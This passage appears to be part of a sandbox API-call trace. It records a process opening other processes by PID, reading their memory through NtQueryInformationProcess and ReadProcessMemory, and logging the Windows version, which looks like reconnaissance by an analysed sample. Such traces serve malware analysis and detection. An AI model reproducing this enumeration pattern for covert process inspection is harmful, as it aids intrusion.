ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.790] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x83d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.790] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae1a10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.791] malloc (_Size=0x26) returned 0xecd5d0 [0348.791] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xae20a0, lpBuffer=0xecd5d0, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd5d0*, lpNumberOfBytesRead=0x0) returned 1 [0348.791] free (_Block=0xecd5d0) [0348.791] CloseHandle (hObject=0xa9c) returned 1 [0348.792] _ui64tow_s (in: _Value=0x310, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0348.792] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="784") returned 3 [0348.792] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.792] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.793] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0xa9c [0348.793] GetLastError () returned 0x0 [0348.793] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.794] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.794] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.794] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.794] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.795] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.795] malloc (_Size=0x64) returned 0xeb65b0 [0348.795] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb65b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0348.796] free (_Block=0xeb65b0) [0348.796] CloseHandle (hObject=0xa9c) returned 1 [0348.796] _ui64tow_s (in: _Value=0x340, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0348.796] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="832") returned 3 [0348.796] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.796] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.797] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0xa9c [0348.797] GetLastError () returned 0x0 [0348.797] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.797] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.797] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.797] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.798] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.798] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.798] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.798] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c5020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.798] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.798] malloc (_Size=0x5a) returned 0xeb64d0 [0348.799] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xeb64d0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0348.799] free (_Block=0xeb64d0) [0348.799] CloseHandle (hObject=0xa9c) returned 1 [0348.799] _ui64tow_s (in: _Value=0x398, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0348.799] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="920") returned 3 [0348.800] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.800] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0xa9c [0348.800] GetLastError () returned 0x0 [0348.800] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2260, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f38, lpBuffer=0x5ec5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.801] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.801] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.801] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.802] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e18f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.802] malloc (_Size=0x16) returned 0xec9940 [0348.802] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1f70, lpBuffer=0xec9940, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9940*, lpNumberOfBytesRead=0x0) returned 1 [0348.802] free (_Block=0xec9940) [0348.802] CloseHandle (hObject=0xa9c) returned 1 [0348.802] _ui64tow_s (in: _Value=0x10c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0348.802] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="268") returned 3 [0348.803] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.803] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.803] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0xa9c [0348.803] GetLastError () returned 0x0 [0348.803] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.803] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.804] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.804] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.805] malloc (_Size=0x7a) returned 0xe87e50 [0348.805] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87e50, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87e50*, lpNumberOfBytesRead=0x0) returned 1 [0348.805] free (_Block=0xe87e50) [0348.805] CloseHandle (hObject=0xa9c) returned 1 [0348.805] _ui64tow_s (in: _Value=0x8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0348.806] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="8") returned 1 [0348.806] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.806] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.807] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0xa9c [0348.807] GetLastError () returned 0x0 [0348.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.808] malloc (_Size=0x5e) returned 0xeb61c0 [0348.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb61c0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0348.808] free (_Block=0xeb61c0) [0348.808] CloseHandle (hObject=0xa9c) returned 1 [0348.809] _ui64tow_s (in: _Value=0x184, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0348.809] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="388") returned 3 [0348.809] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.809] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.810] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0348.810] GetLastError () returned 0x0 [0348.810] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.811] malloc (_Size=0x8a) returned 0xec7a20 [0348.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0348.811] free (_Block=0xec7a20) [0348.812] CloseHandle (hObject=0xa9c) returned 1 [0348.812] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0348.812] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0348.812] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.812] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0348.813] GetLastError () returned 0x0 [0348.813] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.813] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.814] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.933] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.933] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0348.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0348.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0348.933] malloc (_Size=0x88) returned 0xe87670 [0348.933] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe87670, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0348.934] free (_Block=0xe87670) [0348.934] CloseHandle (hObject=0xa9c) returned 1 [0348.934] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0348.934] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0348.934] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0348.934] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0348.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0348.935] GetLastError () returned 0x0 [0348.935] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0348.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0348.935] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0348.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0348.936] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0348.936] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0348.936] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, 